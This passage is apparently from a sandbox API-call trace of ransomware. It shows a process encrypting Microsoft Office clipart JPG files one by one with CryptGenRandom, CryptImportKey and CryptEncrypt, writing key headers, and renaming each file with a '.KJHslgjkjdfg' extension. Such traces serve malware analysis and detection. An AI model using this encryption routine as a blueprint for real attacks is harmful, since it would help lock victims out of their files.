lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.681] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x38d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x38d8, lpOverlapped=0x0) returned 1 [0202.684] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38e0, dwBufLen=0x38e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x38e0) returned 1 [0202.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.685] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x38e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x38e0, lpOverlapped=0x0) returned 1 [0202.685] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.685] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x39b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.685] SetEndOfFile (hFile=0x130) returned 1 [0202.686] GetProcessHeap () returned 0x2ef0000 [0202.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.686] GetProcessHeap () returned 0x2ef0000 [0202.686] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.686] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0175428.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0175428.jpg.kjhslgjkjdfg")) returned 1 [0202.688] CloseHandle (hObject=0x130) returned 1 [0202.688] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xb12e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177257.JPG", cAlternateFileName="")) returned 1 [0202.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.689] GetProcessHeap () returned 0x2ef0000 [0202.689] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.689] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.689] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0202.691] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.691] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.691] GetProcessHeap () returned 0x2ef0000 [0202.691] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.691] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.691] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.691] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.691] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.692] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.692] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.692] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.692] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.692] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb12e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb12e, lpOverlapped=0x0) returned 1 [0202.694] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb130, dwBufLen=0xb130 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb130) returned 1 [0202.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.694] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb130, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb130, lpOverlapped=0x0) returned 1 [0202.694] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.694] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xb204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.694] SetEndOfFile (hFile=0x130) returned 1 [0202.696] GetProcessHeap () returned 0x2ef0000 [0202.696] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.696] GetProcessHeap () returned 0x2ef0000 [0202.696] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.696] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177257.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177257.jpg.kjhslgjkjdfg")) returned 1 [0202.698] CloseHandle (hObject=0x130) returned 1 [0202.698] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd902, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0177806.JPG", cAlternateFileName="")) returned 1 [0202.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.699] GetProcessHeap () returned 0x2ef0000 [0202.700] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.700] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.700] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.700] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0202.702] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.702] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.702] GetProcessHeap () returned 0x2ef0000 [0202.702] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.702] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.702] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.702] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.702] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.702] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.702] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.702] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.703] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xd902, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xd902, lpOverlapped=0x0) returned 1 [0202.704] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd910, dwBufLen=0xd910 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xd910) returned 1 [0202.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xd910, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xd910, lpOverlapped=0x0) returned 1 [0202.705] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd9e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.705] SetEndOfFile (hFile=0x130) returned 1 [0202.708] GetProcessHeap () returned 0x2ef0000 [0202.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.708] GetProcessHeap () returned 0x2ef0000 [0202.708] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.708] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0177806.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0177806.jpg.kjhslgjkjdfg")) returned 1 [0202.709] CloseHandle (hObject=0x130) returned 1 [0202.709] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x907d, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178348.JPG", cAlternateFileName="")) returned 1 [0202.709] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.710] GetProcessHeap () returned 0x2ef0000 [0202.710] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.710] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.710] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.710] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x3, lpOverlapped=0x0) returned 1 [0202.713] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.713] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.713] GetProcessHeap () returned 0x2ef0000 [0202.713] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.713] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.713] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.713] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.713] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.714] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.714] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.714] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.714] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x907d, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x907d, lpOverlapped=0x0) returned 1 [0202.715] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9080, dwBufLen=0x9080 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x9080) returned 1 [0202.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.716] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x9080, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x9080, lpOverlapped=0x0) returned 1 [0202.716] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.716] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x9154, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.716] SetEndOfFile (hFile=0x130) returned 1 [0202.719] GetProcessHeap () returned 0x2ef0000 [0202.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0202.719] GetProcessHeap () returned 0x2ef0000 [0202.719] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0202.719] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178348.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178348.jpg.kjhslgjkjdfg")) returned 1 [0202.720] CloseHandle (hObject=0x130) returned 1 [0202.721] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7214, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0178459.JPG", cAlternateFileName="")) returned 1 [0202.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0178459.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0178459.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0202.722] GetProcessHeap () returned 0x2ef0000 [0202.722] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0202.722] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0202.722] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0202.722] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0202.724] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.724] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.724] GetProcessHeap () returned 0x2ef0000 [0202.724] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0202.724] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0202.725] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0202.725] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0202.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0202.725] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0202.725] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0202.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0202.725] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0202.725] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0202.725] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0202.725] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.725] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x7214, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x7214, lpOverlapped=0x0) returned 1 [0202.727] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7220, dwBufLen=0x7220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x7220) returned 1 [0202.727] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0202.727] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x7220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x7220, lpOverlapped=0x0) returned 1 [0202.727] CryptDestroyKey (hKey=0x2f182c8) 